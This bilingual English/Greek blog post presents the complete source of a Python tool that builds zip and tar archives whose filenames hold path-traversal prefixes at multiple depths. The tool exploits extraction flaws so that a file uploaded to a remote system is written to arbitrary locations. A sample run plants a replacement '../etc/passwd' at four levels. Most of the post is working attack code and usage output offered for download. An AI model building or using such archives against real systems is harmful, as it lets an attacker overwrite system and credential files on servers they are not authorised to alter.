Path-traversal archiver

Αρχειοθέτης με διάσχιση διαδρομής

· Coding Προγραμματισμός Cybersecurity Κυβερνοασφάλεια · python python tool εργαλείο archiving αρχειοθέτηση path-traversal διάσχιση διαδρομής

IntroductionΕισαγωγή

Path traversal is an old and widespread vulnerability. Many tools and software development libraries do NOT prevent the extraction of archives that contain filenames with path traversal characters (e.g. "..\"). As a consequence, if a malevolent actor can upload a specially crafted archive on a remote system (where that archive gets extracted) then he can write files at arbitrary locations.

Η διάσχιση διαδρομής είναι μια παλία και ευρέως εξαπλωμένη ευπάθεια. Πολλά εργαλεία και βιβλιοθήκες ανάπτυξης λογισμικού ΔΕΝ αποτρέπουν την αποσυμπίεση αρχείων που φέρουν ονόματα με χαρακτήρες που χρησιμοποιούνται στη διάσχιση διαδρομής (λ.χ. "..\"). Συνέπεια τούτου είναι ότι εάν ένας κακόβουλος δράστης μπορεί να ανεβάσει ένα ειδικά κατασκευασμένο συμπιεσμένο αρχείο σε ένα απομακρυσμένο σύστημα (οπού αυτό το αρχείο αποσυμπιέζεται) τότε μπορεί να γράψει αρχεία σε αυθαίρετες τοποθεσίες.

But there are some difficulties in exploiting a path traversal vulnerability using a specially crafted archive. One issue is that most archiving tools do not easily allow us to embed path-traversal filenames. Another problem is that -very often- we do not know the exact level where our archive will reside inside the remote filesystem. Therefore, I wrote a tool in python to facilitate the creation of archives that include filenames for path traversal in multiple levels.

Αλλά υπάρχουν μερικές δυσκολίες στην εκμετάλλευση μιας ευπάθειας διάσχισης διαδρομής χρησιμοποιόντας ένα ειδικά κατασκευασμένο συμπιεσμένο αρχείο. Ένα θέμα είναι ότι τα περισσότερα εργαλεία αρχειοθέτησης δε μας επιτρέπουν εύκολα να ενσωματώσουμε ονόματα αρχείων με χαρακτήρες διάσχισης διαδρομής, Ένα άλλο πρόβλημα είναι ότι -πολύ συχνά- δεν γνωρίζουμε το ακριβές επίπεδο μέσα στο απομακρυσμένο σύστημα όπου θα εδρεύει το συμπιεσμένο αρχείο μας. Οπότε, έγραψα ένα εργαλείο σε python για να διευκολύνω τη δημιουργία συμπιεσμένων αρχείων με ονόματα για διάσχιση διαδρομής σε πολλαπλά επίπεδα.

ExampleΠαράδειγμα

$ python path_traversal_archiver.py passwd test.zip -l 1-4 -p etc/
Creating archive test.zip
[+] Adding ../etc/passwd
[+] Adding ../../etc/passwd
[+] Adding ../../../etc/passwd
[+] Adding ../../../../etc/passwd

InstructionsΟδηγίες

$ python path_traversal_archiver.py -h
usage: path_traversal_archiver.py [-h] [-l LEVELS] [-o OS] [-p PATH]
                                  file_to_add archive

A tool to create archives containing path-traversal filenames (e.g.
'../../etc/passwd').

positional arguments:
  file_to_add           File to add in the archive.
  archive               Archive filename (Supported extensions are .zip, .jar,
                        .war, .apk, .tar, .tar.bz2, .tar.gz, .tgz).

optional arguments:
  -h, --help            show this help message and exit
  -l LEVELS, --levels LEVELS
                        A single level or a range of levels to traverse
                        (default: 0-10).
  -o OS, --os OS        Target OS [unix|win] (default: unix).
  -p PATH, --path PATH  Path to include (e.g. 'etc/').

Source codeΠηγαίος κώδικας

#!/usr/bin/env python
# Author: Alamot
import os
import sys
import zipfile
import tarfile
import argparse


mode = {".zip":"a", ".jar":"a", ".war":"a", ".apk":"a",
        ".tar":"a", ".gz":"w:gz", ".tgz":"w:gz", ".bz2":"w:bz2"}


def make_traversal_path(path, level=0, os="unix"):
    if os == "win":
        traversal = ".." + "\\"
        fullpath = traversal*level + path
        return fullpath.replace('/', '\\').replace('\\\\', '\\') 
    else:
        traversal = ".." + "/"
        fullpath = traversal*level + path
        return fullpath.replace('\\', '/').replace('//', '/')


def main():
    parser = argparse.ArgumentParser(description="A tool to create archives " +
    "containing path-traversal filenames (e.g. '../../etc/passwd').")
    parser.add_argument("file_to_add", help="File to add in the archive.")
    parser.add_argument("archive",
                        help="Archive filename (Supported extensions are " +
                             ".zip, .jar, .war, .apk, " +
                             ".tar, .tar.bz2, .tar.gz, .tgz).")
    parser.add_argument("-l", "--levels", dest="levels", default="0-10",
                        help="A single level or a range of levels to " +
                        "traverse (default: %(default)s).")
    parser.add_argument("-o", "--os", dest="os", default="unix",
                        help="Target OS [unix|win] (default: %(default)s).")
    parser.add_argument("-p", "--path", dest="path", default="",
                        help="Path to include (e.g. 'etc/').")
    args = parser.parse_args()

    if not os.path.exists(args.file_to_add):
        sys.exit("Cannot find input file: " + args.file_to_add)

    name, ext = os.path.splitext(args.archive)
    if not ext:
        sys.exit("Please specify a supported extention (zip, jar, " +
                 "tar, tar.bz2, tar.gz, tgz) in the archive filename: " +
                 args.archive)

    try:
        if "-" not in args.levels:
            start = int(args.levels)
            end = int(args.levels) + 1
        else:
            start, end = args.levels.split("-")
            start = int(start)
            end = int(end) + 1
    except ValueError:
        sys.exit("Please specify a single level (e.g. 3) or " +
                 "a level range (e.g. 1-10) for path traversal.")

    path = args.path + os.path.basename(args.file_to_add)

    if ext in [".zip", ".jar", ".war", ".apk"]:
        print("Creating archive " + args.archive)
        zipf = zipfile.ZipFile(args.archive, mode[ext])
        for i in range(start, end):
            fullpath = make_traversal_path(path, level=i, os=args.os)
            print("[+] Adding " + fullpath)
            zipf.write(args.file_to_add, fullpath)
        zipf.close()
    elif ext in [".tar", ".bz2", ".gz", ".tgz"]:
        print("Creating archive " + args.archive)
        tarf = tarfile.open(args.archive, mode[ext])
        for i in range(start, end):
            fullpath = make_traversal_path(path, level=i, os=args.os)
            print("[+] Adding " + fullpath)
            tarf.add(args.file_to_add, fullpath)
        tarf.close()
    else:
        sys.exit("Extention '" + ext + "' not supported.")


if __name__ == '__main__':
    main()

You can download this tool from here: path_traversal_archiver.py

Μπορείτε να κατεβάσετε αυτό το εργαλείο απο εδώ: path_traversal_archiver.py

See also...

Δείτε επίσης...